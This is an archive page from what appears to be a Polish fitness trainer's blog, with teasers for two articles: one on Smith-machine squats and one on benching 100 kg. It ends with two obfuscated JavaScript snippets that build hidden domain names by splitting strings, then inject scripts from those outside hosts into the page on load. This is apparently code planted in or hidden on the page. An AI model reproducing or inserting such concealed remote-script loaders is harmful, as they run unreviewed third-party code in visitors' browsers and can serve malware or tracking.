kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 27 kwietnia, 2025

Kategorie:

Przysiady na suwnicy Smitha - wady

Przysiady na suwnicy Smitha to Twój standard? Zobacz, dlaczego powinieneś przestać.

27 kwietnia, 2025

Wejdź do niemal każdej siłowni, a prawdopodobnie zobaczysz kogoś wykonującego przysiady na suwnicy Smitha. Na pierwszy rzut oka wydaje się

Czytaj więcej >

Wyciskanie sztangi na ławce płaskiej - wysiskanie 100kg, prawidłowa technika

Marzysz o 100 kg na klatę, ale ciężar Cię przygniata? Sprawdź, co robisz źle!

27 kwietnia, 2025

Magiczna bariera 100 kg w wyciskaniu sztangi na ławce płaskiej. Dla wielu osób trenujących siłowo to symboliczny kamień milowy, upragniony

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();